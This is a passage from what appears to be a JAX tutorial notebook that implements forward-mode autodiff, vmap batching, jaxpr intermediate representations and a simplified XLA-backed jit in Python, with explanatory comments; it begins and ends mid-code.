zip(primals, tangents)] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] primals_out, tangents_out = unzip2((t.primal, t.tangent) for t in tracers_out) return primals_out, tangents_out # To support user functions that have arbitrary containers in the inputs and # outputs, here's how we'd write the user-facing `jvp` wrapper: def jvp(f, primals, tangents): primals_flat, in_tree = tree_flatten(primals) tangents_flat, in_tree2 = tree_flatten(tangents) if in_tree != in_tree2: raise TypeError f, out_tree = flatten_fun(f, in_tree) primals_out_flat, tangents_out_flat = jvp_flat(f, primals_flat, tangents_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) tangents_out = tree_unflatten(out_tree(), tangents_out_flat) return primals_out, tangents_out # Notice that we had to plumb the tree structure of the user function output # back to the caller of `flatten_fun`. That information isn't available until we # actually run the user function, so `flatten_fun` just returns a reference to a # mutable cell, represented as a thunk. These side-effects are safe because we # always run the user function exactly once. (This safe regime is the reason for # the "linear" name in `linear_util.py`, in the sense of [linear # types](https://en.wikipedia.org/wiki/Substructural_type_system).) # # All that remains is to write `tree_flatten`, `tree_unflatten`, and # `flatten_fun`. # + tags=["hide-input"] def flatten_fun(f, in_tree): store = Store() def flat_fun(*args_flat): pytree_args = tree_unflatten(in_tree, args_flat) out = f(*pytree_args) out_flat, out_tree = tree_flatten(out) store.set_value(out_tree) return out_flat return flat_fun, store class Empty: pass empty = Empty() class Store: val = empty def set_value(self, val): assert self.val is empty self.val = val def __call__(self): return self.val # + tags=["hide-input"] import itertools as it from typing import Callable, Type, Hashable, Dict, Iterable, Iterator class NodeType(NamedTuple): name: str to_iterable: Callable from_iterable: Callable def register_pytree_node(ty: Type, to_iter: Callable, from_iter: Callable ) -> None: node_types[ty] = NodeType(str(ty), to_iter, from_iter) node_types: Dict[Type, NodeType] = {} register_pytree_node(tuple, lambda t: (None, t), lambda _, xs: tuple(xs)) register_pytree_node(list, lambda l: (None, l), lambda _, xs: list(xs)) register_pytree_node(dict, lambda d: map(tuple, unzip2(sorted(d.items()))), lambda keys, vals: dict(zip(keys, vals))) class PyTreeDef(NamedTuple): node_type: NodeType node_metadata: Hashable child_treedefs: Tuple['PyTreeDef'] class Leaf: pass leaf = Leaf() def tree_flatten(x: Any) -> Tuple[List[Any], PyTreeDef]: children_iter, treedef = _tree_flatten(x) return list(children_iter), treedef def _tree_flatten(x: Any) -> Tuple[Iterable, PyTreeDef]: node_type = node_types.get(type(x)) if node_type: node_metadata, children = node_type.to_iterable(x) children_flat, child_trees = unzip2(map(_tree_flatten, children)) flattened = it.chain.from_iterable(children_flat) return flattened, PyTreeDef(node_type, node_metadata, tuple(child_trees)) else: return [x], leaf def tree_unflatten(treedef: PyTreeDef, xs: List[Any]) -> Any: return _tree_unflatten(treedef, iter(xs)) def _tree_unflatten(treedef: PyTreeDef, xs: Iterator) -> Any: if treedef is leaf: return next(xs) else: children = (_tree_unflatten(t, xs) for t in treedef.child_treedefs) return treedef.node_type.from_iterable(treedef.node_metadata, children) # - # With this pytree-handling `jvp` implementation, we can now handle arbitrary # input and output containers. That'll come in handy with future transformations # too! # + def f(x): y = sin(x) * 2. z = - y + x return {'hi': z, 'there': [x, y]} x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - # ### Vectorized batching with `vmap` # # First, a couple helper functions, one for producing mapped abstract values # from unmapped ones (by removing an axis), and one for moving batch dimensions # around: # + def mapped_aval(batch_dim, aval): shape = list(aval.shape) del shape[batch_dim] return ShapedArray(tuple(shape), aval.dtype) def move_batch_axis(axis_size, src, dst, x): if src is not_mapped: target_shape = list(np.shape(x)) target_shape.insert(dst, axis_size) return broadcast(x, target_shape, [dst]) elif src == dst: return x else: return moveaxis(x, src, dst) def moveaxis(x, src: int, dst: int): perm = [i for i in range(np.ndim(x)) if i != src] perm.insert(dst, src) return transpose(x, perm) # - # The `Tracer` for vectorized batching carries a batched value and an optional # integer indicating which axis (if any) is the batch axis. # + from typing import Union class NotMapped: pass not_mapped = NotMapped() BatchAxis = Union[NotMapped, int] class BatchTracer(Tracer): def __init__(self, trace, val, batch_dim: BatchAxis): self._trace = trace self.val = val self.batch_dim = batch_dim @property def aval(self): if self.batch_dim is not_mapped: return get_aval(self.val) else: return mapped_aval(self.batch_dim, get_aval(self.val)) def full_lower(self): if self.batch_dim is not_mapped: return full_lower(self.val) else: return self class BatchTrace(Trace): pure = lift = lambda self, val: BatchTracer(self, val, not_mapped) def process_primitive(self, primitive, tracers, params): vals_in, bdims_in = unzip2((t.val, t.batch_dim) for t in tracers) vmap_rule = vmap_rules[primitive] val_outs, bdim_outs = vmap_rule(self.axis_size, vals_in, bdims_in, **params) return [BatchTracer(self, x, bd) for x, bd in zip(val_outs, bdim_outs)] @property def axis_size(self): return self.main.global_data vmap_rules = {} # - # Here we've implemented the optional `Tracer.full_lower` method, which lets us # peel off a batching tracer if it's not needed because it doesn't represent a # batched value. # # For `BatchTrace`, analogous to `JVPTrace`, the methods `pure` and `lift` just # box a value in a `BatchTracer` with the minimal amount of context, which in # this case is a `batch_dim` taking the sentinel value `not_mapped`. Notice we # use the `MainTrace`'s interpreter-global data field to store the batch axis # size. # # Next we can define batching interpreter rules for each primitive: # + from functools import partial def broadcasting_binop_batching_rule(op, axis_size, vals_in, dims_in): (x, y), (x_bdim, y_bdim) = vals_in, dims_in if x_bdim != y_bdim: if x_bdim is not_mapped: x = move_batch_axis(axis_size, x_bdim, y_bdim, x) else: y = move_batch_axis(axis_size, y_bdim, x_bdim, y) return [op(x, y)], [x_bdim] vmap_rules[add_p] = partial(broadcasting_binop_batching_rule, add) vmap_rules[mul_p] = partial(broadcasting_binop_batching_rule, mul) def vectorized_unop_batching_rule(op, axis_size, vals_in, dims_in): (x,), (x_bdim,) = vals_in, dims_in return [op(x)], [x_bdim] vmap_rules[sin_p] = partial(vectorized_unop_batching_rule, sin) vmap_rules[cos_p] = partial(vectorized_unop_batching_rule, cos) vmap_rules[neg_p] = partial(vectorized_unop_batching_rule, neg) def reduce_sum_batching_rule(axis_size, vals_in, dims_in, *, axis): (x,), (x_bdim,) = vals_in, dims_in new_axis = axis + (x_bdim <= axis) out_bdim = x_bdim - (new_axis < x_bdim) return [reduce_sum(x, new_axis)], [out_bdim] vmap_rules[reduce_sum_p] = reduce_sum_batching_rule # - # Finally, we add a transformation API to kick off the trace: # + def vmap_flat(f, in_axes, *args): axis_size, = {x.shape[ax] for x, ax in zip(args, in_axes) if ax is not not_mapped} with new_main(BatchTrace, axis_size) as main: trace = BatchTrace(main) tracers_in = [BatchTracer(trace, x, ax) if ax is not None else x for x, ax in zip(args, in_axes)] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] vals_out, bdims_out = unzip2((t.val, t.batch_dim) for t in tracers_out) outs_transposed = [move_batch_axis(axis_size, bdim, 0, val_out) for val_out, bdim in zip(vals_out, bdims_out)] return outs_transposed def vmap(f, in_axes): def batched_f(*args): args_flat, in_tree = tree_flatten(args) in_axes_flat, in_tree2 = tree_flatten(in_axes) if in_tree != in_tree2: raise TypeError f_flat, out_tree = flatten_fun(f, in_tree) outs_flat = vmap_flat(f_flat, in_axes_flat, *args_flat) return tree_unflatten(out_tree(), outs_flat) return batched_f # + def add_one_to_a_scalar(scalar): assert np.ndim(scalar) == 0 return 1 + scalar vector_in = np.arange(3.) vector_out = vmap(add_one_to_a_scalar, (0,))(vector_in) print(vector_in) print(vector_out) # + def jacfwd(f, x): pushfwd = lambda v: jvp(f, (x,), (v,))[1] vecs_in = np.eye(np.size(x)).reshape(np.shape(x) * 2) return vmap(pushfwd, (0,))(vecs_in) def f(x): return sin(x) jacfwd(f, np.arange(3.)) # - # That's it for `jvp` and `vmap`! # ## Part 2: Jaxprs # # The next transformations are the horizon are `jit` for just-in-time # compilation and `vjp` for reverse-mode autodiff. (`grad` is just a small # wrapper around `vjp`.) Whereas `jvp` and `vmap` only needed each `Tracer` to # carry a little bit of extra context, for both `jit` and `vjp` we need much # richer context: we need to represent _programs_. That is, we need jaxprs! # # Jaxprs are JAX's internal intermediate representation of programs. They are # explicitly typed, functional, first-order, and in ANF form. We need a # program representation for `jit` because the purpose of `jit` is to stage # computation out of Python. For any computation we want to stage out, we need # to be able to represent it as data, and build it up as we trace a Python # function. Similarly, `vjp` needs a way to represent the computation for the # backward pass of reverse-mode autodiff. We use the same jaxpr program # representation for both needs. # # (Building a program representation is the most # [free](https://en.wikipedia.org/wiki/Free_object) kind of # trace-transformation, and so except for issues around handling native Python # control flow, any transformation could be implemented by first tracing to a # jaxpr and then interpreting the jaxpr.) # ### Jaxpr data strutures # # The jaxpr term syntax is roughly: # # ``` # jaxpr ::= # { lambda <binder> , ... . # let <eqn> # ... # in ( <atom> , ... ) } # # binder ::= <var>:<array_type> # var ::= a | b | c | ... # atom ::= <var> | <literal> # literal ::= <int32> | <int64> | <float32> | <float64> # # eqn ::= <binder> , ... = <primitive> [ <params> ] <atom> , ... # ``` # # The syntax of types is: # # ``` # jaxpr_type ::= [ <array_type> , ... ] -> [ <array_type> , ... ] # array_type ::= <dtype>[<shape>] # dtype ::= f32 | f64 | i32 | i64 # shape ::= <int> , ... # ``` # # How do we represent these as Python data structures? We reuse ShapedArrays to # represent types, and we can represent the term syntax with a few Python # structs: # + from typing import Set class Var: aval: ShapedArray def __init__(self, aval): self.aval = aval class Lit: val: Any aval: ShapedArray def __init__(self, val): self.val = val self.aval = raise_to_shaped(get_aval(self.val)) Atom = Union[Var, Lit] class JaxprEqn(NamedTuple): primitive: Primitive inputs: List[Atom] params: Dict[str, Any] out_binders: List[Var] class Jaxpr(NamedTuple): in_binders: List[Var] eqns: List[JaxprEqn] outs: List[Atom] def __hash__(self): return id(self) __eq__ = op.is_ def raise_to_shaped(aval): return ShapedArray(aval.shape, aval.dtype) # - # Type-checking a jaxpr involves checking that there are no unbound variables, # that variables are only bound once, and that for each equation the type of # the primitive application matches the type of the output binders. # + class JaxprType(NamedTuple): in_types: List[ShapedArray] out_types: List[ShapedArray] def __repr__(self): in_types = ', '.join(aval.str_short() for aval in self.in_types) out_types = ', '.join(aval.str_short() for aval in self.out_types) return f'({in_types}) -> ({out_types})' def typecheck_jaxpr(jaxpr: Jaxpr) -> JaxprType: env: Set[Var] = set() for v in jaxpr.in_binders: if v in env: raise TypeError env.add(v) for eqn in jaxpr.eqns: in_types = [typecheck_atom(env, x) for x in eqn.inputs] out_types = abstract_eval_rules[eqn.primitive](*in_types, **eqn.params) for out_binder, out_type in zip(eqn.out_binders, out_types): if not out_type == out_binder.aval: raise TypeError for out_binder in eqn.out_binders: if out_binder in env: raise TypeError env.add(out_binder) in_types = [v.aval for v in jaxpr.in_binders] out_types = [typecheck_atom(env, x) for x in jaxpr.outs] return JaxprType(in_types, out_types) def typecheck_atom(env: Set[Var], x: Atom) -> ShapedArray: if isinstance(x, Var): if x not in env: raise TypeError("unbound variable") return x.aval elif isinstance(x, Lit): return raise_to_shaped(get_aval(x.val)) else: assert False # - # We can apply the function represented by a jaxpr to arguments with a simple # interpreter. # + def eval_jaxpr(jaxpr: Jaxpr, args: List[Any]) -> List[Any]: env: Dict[Var, Any] = {} def read(x: Atom) -> Any: return env[x] if type(x) is Var else x.val def write(v: Var, val: Any) -> None: assert v not in env # single-assignment env[v] = val map(write, jaxpr.in_binders, args) for eqn in jaxpr.eqns: in_vals = map(read, eqn.inputs) outs = bind(eqn.primitive, *in_vals, **eqn.params) map(write, eqn.out_binders, outs) return map(read, jaxpr.outs) def jaxpr_as_fun(jaxpr: Jaxpr): return lambda *args: eval_jaxpr(jaxpr, args) # - # By using `bind` in the interpreter, this interpreter itself is traceable. # ### Building jaxprs with tracing # # Now that we have jaxprs as a data structure, we need ways to produce these # from tracing Python code. In general there are two variants of how we trace to # a jaxpr; `jit` uses one and `vjp` uses the other. We'll start with the one # used by `jit`, which is also used by control flow primitives like `lax.cond`, # `lax.while_loop`, and `lax.scan`. # + # NB: the analogous class in JAX is called 'DynamicJaxprTracer' class JaxprTracer(Tracer): __slots__ = ['aval'] aval: ShapedArray def __init__(self, trace, aval): self._trace = trace self.aval = aval # NB: the analogous class in JAX is called 'DynamicJaxprTrace' class JaxprTrace(Trace): def new_arg(self, aval: ShapedArray) -> JaxprTracer: aval = raise_to_shaped(aval) tracer = self.builder.new_tracer(self, aval) self.builder.tracer_to_var[id(tracer)] = Var(aval) return tracer def get_or_make_const_tracer(self, val: Any) -> JaxprTracer: tracer = self.builder.const_tracers.get(id(val)) if tracer is None: tracer = self.builder.new_tracer(self, raise_to_shaped(get_aval(val))) self.builder.add_const(tracer, val) return tracer pure = lift = get_or_make_const_tracer def process_primitive(self, primitive, tracers, params): avals_in = [t.aval for t in tracers] avals_out = abstract_eval_rules[primitive](*avals_in, **params) out_tracers = [self.builder.new_tracer(self, a) for a in avals_out] inputs = [self.builder.getvar(t) for t in tracers] outvars = [self.builder.add_var(t) for t in out_tracers] self.builder.add_eqn(JaxprEqn(primitive, inputs, params, outvars)) return out_tracers @property def builder(self): return self.main.global_data # NB: in JAX, we instead attach abstract eval rules to Primitive instances abstract_eval_rules = {} # - # Notice that we keep as interpreter-global data a builder object, which keeps # track of variables, constants, and eqns as we build up the jaxpr. class JaxprBuilder: eqns: List[JaxprEqn] tracer_to_var: Dict[int, Var] const_tracers: Dict[int, JaxprTracer] constvals: Dict[Var, Any] tracers: List[JaxprTracer] def __init__(self): self.eqns = [] self.tracer_to_var = {} self.const_tracers = {} self.constvals = {} self.tracers = [] def new_tracer(self, trace: JaxprTrace, aval: ShapedArray) -> JaxprTracer: tracer = JaxprTracer(trace, aval) self.tracers.append(tracer) return tracer def add_eqn(self, eqn: JaxprEqn) -> None: self.eqns.append(eqn) def add_var(self, tracer: JaxprTracer) -> Var: assert id(tracer) not in self.tracer_to_var var = self.tracer_to_var[id(tracer)] = Var(tracer.aval) return var def getvar(self, tracer: JaxprTracer) -> Var: var = self.tracer_to_var.get(id(tracer)) assert var is not None return var def add_const(self, tracer: JaxprTracer, val: Any) -> Var: var = self.add_var(tracer) self.const_tracers[id(val)] = tracer self.constvals[var] = val return var def build(self, in_tracers: List[JaxprTracer], out_tracers: List[JaxprTracer] ) -> Tuple[Jaxpr, List[Any]]: constvars, constvals = unzip2(self.constvals.items()) t2v = lambda t: self.tracer_to_var[id(t)] in_binders = constvars + [t2v(t) for t in in_tracers] out_vars = [t2v(t) for t in out_tracers] jaxpr = Jaxpr(in_binders, self.eqns, out_vars) typecheck_jaxpr(jaxpr) return jaxpr, constvals # The rules we need for `JaxprTrace.process_primitive` are essentially typing # rules for primitive applications: given the primitive, its parameters, and # types for the inputs, the rule must produce a type for the output, which is # then packaged with the output `JaxprTracer`. We can use abstract evaluation # rules for this same purpose, even though they can be more general (since # abstract evaluation rules must accept ConcreteArray inputs, and since they # need only return an upper bound on the set of possible outputs, they can # produce ConcreteArray outputs as well). We'll reuse these abstract evaluation # rules for the other jaxpr-producing trace machinery, where the potential extra # generality is useful. # + def broadcast_shapes(*shapes): assert len(shapes) > 1 for sizes in zip(*shapes): sizes = [d for d in sizes if d != 1] if sizes[:-1] != sizes[1:]: raise Exception return tuple(next((d for d in sizes if d != 1), 1) for sizes in zip(*shapes)) def broadcasting_binop_abstract_eval_rule(*avals_in): out_dtype = np.result_type(*map(np.result_type, avals_in)) out_shape = broadcast_shapes(*map(np.shape, avals_in)) return [ShapedArray(out_shape, out_dtype)] abstract_eval_rules[add_p] = broadcasting_binop_abstract_eval_rule abstract_eval_rules[mul_p] = broadcasting_binop_abstract_eval_rule def vectorized_unop_abstract_eval_rule(aval_in): return [ShapedArray(np.shape(aval_in), np.result_type(aval_in))] abstract_eval_rules[sin_p] = vectorized_unop_abstract_eval_rule abstract_eval_rules[cos_p] = vectorized_unop_abstract_eval_rule abstract_eval_rules[neg_p] = vectorized_unop_abstract_eval_rule def reduce_sum_abstract_eval_rule(aval_in, *, axis): new_shape = [d for i, d in enumerate(aval_in.shape) if i != axis] return [ShapedArray(tuple(new_shape), aval_in.dtype)] abstract_eval_rules[reduce_sum_p] = reduce_sum_abstract_eval_rule def broadcast_abstract_eval(x, *, shape, axes): return [ShapedArray(tuple(shape), np.result_type(x))] abstract_eval_rules[broadcast_p] = broadcast_abstract_eval # - # To check our implementation of jaxprs, we can add a `make_jaxpr` # transformation and a pretty-printer: # + from functools import lru_cache @lru_cache() # ShapedArrays are hashable def make_jaxpr_v1(f, *avals_in): avals_in, in_tree = tree_flatten(avals_in) f, out_tree = flatten_fun(f, in_tree) builder = JaxprBuilder() with new_main(JaxprTrace, builder) as main: trace = JaxprTrace(main) tracers_in = [trace.new_arg(aval) for aval in avals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = builder.build(tracers_in, tracers_out) return jaxpr, consts, out_tree() # + tags=["hide-input"] from collections import defaultdict import string class PPrint: lines: List[Tuple[int, str]] def __init__(self, lines): self.lines = lines def indent(self, indent: int) -> 'PPrint': return PPrint([(indent + orig_indent, s) for orig_indent, s in self.lines]) def __add__(self, rhs: 'PPrint') -> 'PPrint': return PPrint(self.lines + rhs.lines) def __rshift__(self, rhs: 'PPrint') -> 'PPrint': if not rhs.lines: return self if not self.lines: return rhs indent, s = self.lines[-1] indented_block = rhs.indent(indent + len(s)) common_line = s + ' ' * rhs.lines[0][0] + rhs.lines[0][1] return PPrint(self.lines[:-1] + [(indent, common_line)] + indented_block.lines[1:]) def __str__(self) -> str: return '\n'.join(' ' * indent + s for indent, s in self.lines) def pp(s: Any) -> PPrint: return PPrint([(0, line) for line in str(s).splitlines()]) def vcat(ps: List[PPrint]) -> PPrint: return sum(ps, pp('')) def pp_jaxpr(jaxpr: Jaxpr): namegen = (''.join(s) for r in it.count(1) for s in it.permutations(string.ascii_lowercase, r)) names = defaultdict(lambda: next(namegen)) in_binders = ', '.join(var_str(names, x) for x in jaxpr.in_binders) eqns = vcat([pp_eqn(names, e) for e in jaxpr.eqns]) outs = ', '.join(names[v] if isinstance(v, Var) else str(v.val) for v in jaxpr.outs) return (pp(f'{{ lambda {in_binders} .') + ((pp('let ') >> eqns) + pp(f'in ( {outs} ) }}')).indent(2)) def var_str(names: Dict[Var, str], v: Var) -> str: return f'{names[v]}:{v.aval.str_short()}' def pp_eqn(names: Dict[Var, str], eqn: JaxprEqn) -> PPrint: lhs = pp(' '.join(var_str(names, v) for v in eqn.out_binders)) rhs = (pp(eqn.primitive.name) >> pp_params(eqn.params) >> pp(' '.join(names[x] if isinstance(x, Var) else str(x.val) for x in eqn.inputs))) return lhs >> pp(' = ') >> rhs def pp_params(params: Dict[str, Any]) -> PPrint: items = sorted(params.items()) if items: return pp(' [ ') >> vcat([pp(f'{k}={v}') for k, v in items]) >> pp(' ] ') else: return pp(' ') Jaxpr.__repr__ = lambda self: str(pp_jaxpr(self)) # - jaxpr, consts, _ = make_jaxpr_v1(lambda x: 2. * x, raise_to_shaped(get_aval(3.))) print(jaxpr) print(typecheck_jaxpr(jaxpr)) # But there's a limitation here: because of how `find_top_trace` operates by # data dependence, `make_jaxpr_v1` can't stage out all the primitive operations # performed by the Python callable it's given. For example: jaxpr, consts, _ = make_jaxpr_v1(lambda: mul(2., 2.)) print(jaxpr) # This is precisely the issue that # [omnistaging](https://github.com/google/jax/pull/3370) fixed. # We want to ensure that the `JaxprTrace` started by `make_jaxpr` is always # applied, regardless of whether any inputs to `bind` are boxed in corresponding # `JaxprTracer` instances. We can achieve this by employing the `dynamic_trace` # global defined in Part 1: # + @contextmanager def new_dynamic(main: MainTrace): global dynamic_trace prev_dynamic_trace, dynamic_trace = dynamic_trace, main try: yield finally: dynamic_trace = prev_dynamic_trace @lru_cache() def make_jaxpr(f, *avals_in): avals_in, in_tree = tree_flatten(avals_in) f, out_tree = flatten_fun(f, in_tree) builder = JaxprBuilder() with new_main(JaxprTrace, builder) as main: with new_dynamic(main): trace = JaxprTrace(main) tracers_in = [trace.new_arg(aval) for aval in avals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = builder.build(tracers_in, tracers_out) return jaxpr, consts, out_tree() jaxpr, consts, _ = make_jaxpr(lambda: mul(2., 2.)) print(jaxpr) # - # Using `dynamic_trace` this way is conceptually the same as stashing the # current interpreter stack and starting a new one with the `JaxprTrace` at the # bottom. That is, no interpreters lower in the stack than the `dynamic_trace` # are applied (since `JaxprTrace.process_primitive` doesn't call `bind`), though # if the Python callable being traced to a jaxpr itself uses transformations # then those can be pushed onto the interpreter stack above the `JaxprTrace`. # But temporarily stashing the interpreter stack would break up the system # state. The `dynamic_trace` tag achieves the same goals while keeping the # system state simpler. # That's it for jaxprs! With jaxprs in hand, we can implement the remaining # major JAX features. # ## Part 3: `jit`, simplified # # While `jit` has a transformation-like API in that it accepts a Python callable # as an argument, under the hood it's really a higher-order primitive rather # than a transformation. A primitive is _higher-order_ when it's parameterized # by a function. # ### On-the-fly ("final style") and staged ("initial style") processing # # There are two options for how to handle higher-order primitives. Each requires # a different approach to tracing and engenders different tradeoffs: # 1. **On-the-fly processing, where `bind` takes a Python callable as an # argument.** We defer forming a jaxpr until as late as possible, namely # until we're running the final interpreter at the bottom of the interpreter # stack. That way we can swap a `JaxprTrace` in at the bottom of the # interpreter stack and thus stage out rather than execute all primitive # operations. With this approach, transformations in the stack get applied as # we execute the Python callable as usual. This approach can be very tricky # to implement, but it's as general as possible because it allows # higher-order primitives not to raise the abstraction level of their # arguments and thus allows data-dependent Python control flow. We refer to # this approach as using a "final-style higher-order primitive" employing the # discharge-at-tracing-time "final-style transformations" we've used so far. # 2. **Staged processing, where `bind` takes a jaxpr as an argument.** Before we # call `bind`, in the primitive wrapper we can just use `make_jaxpr` to form # a jaxpr up-front and be done with the Python callable entirely. In this # case, `make_jaxpr` puts its `JaxprTrace` at the top of the interpreter # stack, and no transformations lower in the stack, which might enter via # closed-over Tracers, are applied to the Python callable as we trace it. # (Transformations applied within the Python callable are applied as usual, # being added to the stack above the JaxprTrace.) Instead, the # transformations lower in the stack are later applied to the call primitive, # and the call primitive's rules must then transform the jaxpr itself. # Because we trace to a jaxpr up-front, this approach can't support # data-dependent Python control flow, but it is more straightforward to # implement. We refer to this kind of higher-order primitive as an # "initial-style higher-order primitive", and say that its jaxpr-processing # transformation rules are "initial-style transformation rules." # # The latter approach fits for `jit` because we don't need to support # data-dependent Python control flow in the user-provided Python callable, as # the whole purpose of `jit` is to stage computation out of Python to be # executed by XLA. (In contrast, `custom_jvp` is a higher-order primitive in # which we want to support data-dependent Python control flow.) # # Historically, we started using the "initial-style" and "final-style" # terminology after reading the [typed tagless final # interpreters](http://okmij.org/ftp/tagless-final/index.html) paper, and # jokingly referring to JAX as an implementation of "untyped tagful final # interpreters." We don't claim to carry over (or understand) any deep meaning # behind these terms; we loosely use "initial style" to mean "build an AST and # then transform it", and we use "final style" to mean "transform as we trace." # But it's just imprecise yet sticky jargon. # With the initial-style approach, here's the user-facing `jit` wrapper: # + def jit(f): def f_jitted(*args): avals_in = [raise_to_shaped(get_aval(x)) for x in args] jaxpr, consts, out_tree = make_jaxpr(f, *avals_in) outs = bind(xla_call_p, *consts, *args, jaxpr=jaxpr, num_consts=len(consts)) return tree_unflatten(out_tree, outs) return f_jitted xla_call_p = Primitive('xla_call') # - # With any new primitive, we need to give it transformation rules, starting with # its evaluation rule. When we evaluate an application of the `xla_call` # primitive, we want to stage out out the computation to XLA. That involves # translating the jaxpr to an XLA HLO program, transferring the argument values # to the XLA device, executing the XLA program, and transferring back the # results. We'll cache the XLA HLO compilation so that for each `jit`ted # function it only needs to be performed once per argument shape and dtype # signature. # # First, some utilities. class IDHashable: val: Any def __init__(self, val): self.val = val def __hash__(self) -> int: return id(self.val) def __eq__(self, other): return type(other) is IDHashable and id(self.val) == id(other.val) # Next, we'll define the evaluation rule for `xla_call`: # + from jax.lib import xla_bridge as xb from jax.lib import xla_client as xc xe = xc._xla xops = xc._xla.ops def xla_call_impl(*args, jaxpr: Jaxpr, num_consts: int): consts, args = args[:num_consts], args[num_consts:] hashable_consts = tuple(map(IDHashable, consts)) execute = xla_callable(IDHashable(jaxpr), hashable_consts) return execute(*args) impl_rules[xla_call_p] = xla_call_impl @lru_cache() def xla_callable(hashable_jaxpr: IDHashable, hashable_consts: Tuple[IDHashable]): jaxpr: Jaxpr = hashable_jaxpr.val consts = [x.val for x in hashable_consts] in_avals = [v.aval for v in jaxpr.in_binders[len(consts):]] c = xb.make_computation_builder('xla_call') xla_consts = _xla_consts(c, consts) xla_params = _xla_params(c, in_avals) outs = jaxpr_subcomp(c, jaxpr, xla_consts + xla_params) out = xops.Tuple(c, outs) compiled = xb.get_backend(None).compile(c.build(out)) return partial(execute_compiled, compiled, [v.aval for v in jaxpr.outs]) def _xla_consts(c: xe.XlaBuilder, consts: List[Any]) -> List[xe.XlaOp]: unique_consts = {id(cnst): cnst for cnst in consts} xla_consts = { id_: xops.ConstantLiteral(c, cnst) for id_, cnst in unique_consts.items()} return [xla_consts[id(cnst)] for cnst in consts] def _xla_params(c: xe.XlaBuilder, avals_in: List[ShapedArray]) -> List[xe.XlaOp]: return [xb.parameter(c, i, _xla_shape(a)) for i, a in enumerate(avals_in)] def _xla_shape(aval: ShapedArray) -> xe.Shape: return xc.Shape.array_shape(xc.dtype_to_etype(aval.dtype), aval.shape) # - # The main action is in `xla_callable`, which compiles a jaxpr into an XLA HLO # program using `jaxpr_subcomp`, then returns a callable which executes the # compiled program: # + def jaxpr_subcomp(c: xe.XlaBuilder, jaxpr: Jaxpr, args: List[xe.XlaOp] ) -> xe.XlaOp: env: Dict[Var, xe.XlaOp] = {} def read(x: Atom) -> xe.XlaOp: return env[x] if type(x) is Var else xb.constant(c, x.val) def write(v: Var, val: xe.XlaOp) -> None: env[v] = val map(write, jaxpr.in_binders, args) for eqn in jaxpr.eqns: in_avals = [x.aval for x in eqn.inputs] in_vals = map(read, eqn.inputs) rule = xla_translations[eqn.primitive] out_vals = rule(c, in_avals, in_vals, **eqn.params) map(write, eqn.out_binders, out_vals) return map(read, jaxpr.outs) def execute_compiled(compiled, out_avals, *args): input_bufs = [input_handlers[type(x)](x) for x in args] out_bufs = compiled.execute(input_bufs) return [handle_result(aval, buf) for aval, buf in zip(out_avals, out_bufs)] default_input_handler = xb.get_backend(None).buffer_from_pyval input_handlers = {ty: default_input_handler for ty in [int, float, np.ndarray, np.float64, np.float32]} def handle_result(aval: ShapedArray, buf): del aval # Unused for now. return buf.to_py() xla_translations = {} # - # Notice that `jaxpr_subcomp` has the structure of a simple interpreter. That's # a common pattern: the way we process jaxprs is usually with an interpreter. # And as with any interpreter, we need an interpretation rule for each # primitive: # + def direct_translation(op, c, in_avals, in_vals): del c, in_avals return [op(*in_vals)] xla_translations[add_p] = partial(direct_translation, xops.Add) xla_translations[mul_p] = partial(direct_translation, xops.Mul) xla_translations[neg_p] = partial(direct_translation, xops.Neg) xla_translations[sin_p] = partial(direct_translation, xops.Sin) xla_translations[cos_p] = partial(direct_translation, xops.Cos) xla_translations[greater_p] = partial(direct_translation, xops.Gt) def reduce_sum_translation(c, in_avals, in_vals, *, axis): (x_aval,), (x,) = in_avals, in_vals zero = xops.ConstantLiteral(c, np.array(0, x_aval.dtype)) subc = xb.make_computation_builder('add') shape = _xla_shape(ShapedArray((), x_aval.dtype)) xops.Add(xops.Parameter(subc, 0, shape), xops.Parameter(subc, 1, shape)) return [xops.Reduce(c, [x], [zero], subc.build(), [axis])] xla_translations[reduce_sum_p] = reduce_sum_translation def broadcast_translation(c, in_avals, in_vals, *, shape, axes): x, = in_vals dims_complement = [i for i in range(len(shape)) if i not in axes] return [xops.BroadcastInDim(x, shape, dims_complement)] xla_translations[broadcast_p] = broadcast_translation # - # With that, we can now use `jit` to stage out, compile, and execute programs # with XLA! @jit def f(x, y): print('tracing!') return sin(x) * cos(y) z = f(3., 4.) # 'tracing!' prints the first time print(z) z = f(4., 5.) # 'tracing!' doesn't print, compilation cache hit! print(z) # + @jit def f(x): return reduce_sum(x, axis=0) print(f(np.array([1., 2., 3.]))) # + def f(x): y = sin(x) * 2. z = - y + x return z def deriv(f): return lambda x: jvp(f, (x,), (1.,))[1] print( deriv(deriv(f))(3.)) print(jit(deriv(deriv(f)))(3.)) # - # Instead of implementing `jit` to first trace to a jaxpr and then to lower the # jaxpr to XLA HLO, it might appear that we could have skipped the jaxpr step # and just lowered to HLO while tracing. That is, perhaps we could have instead # implemented `jit` with a `Trace` and `Tracer` that appended to the XLA HLO # graph incrementally on each primitive bind. That's correct for now, but won't # be possible when we introduce compiled SPMD computations because there we must # know the number of replicas needed before compiling the program. # We haven't yet defined any transformation rules for `xla_call_p` other than # its evaluation rule. That is, we can't yet do `vmap`-of-`jit` or # `jvp`-of-`jit` or even `jit`-of`-jit`. Instead `jit` has to be at the "top # level." Let's fix that! # + def xla_call_jvp_rule(primals, tangents, *, jaxpr, num_consts): del num_consts # Unused. new_jaxpr, new_consts = jvp_jaxpr(jaxpr) outs = bind(xla_call_p, *new_consts, *primals, *tangents, jaxpr=new_jaxpr, num_consts=len(new_consts)) n = len(outs) // 2 primals_out, tangents_out = outs[:n], outs[n:] return primals_out, tangents_out jvp_rules[xla_call_p] = xla_call_jvp_rule @lru_cache() def jvp_jaxpr(jaxpr: Jaxpr) -> Tuple[Jaxpr, List[Any]]: def jvp_traceable(*primals_and_tangents): n = len(primals_and_tangents) // 2 primals, tangents = primals_and_tangents[:n], primals_and_tangents[n:] return jvp(jaxpr_as_fun(jaxpr), primals, tangents) in_avals = [v.aval for v in jaxpr.in_binders] new_jaxpr, new_consts, _ = make_jaxpr(jvp_traceable, *in_avals, *in_avals) return new_jaxpr, new_consts # + def xla_call_vmap_rule(axis_size, vals_in, 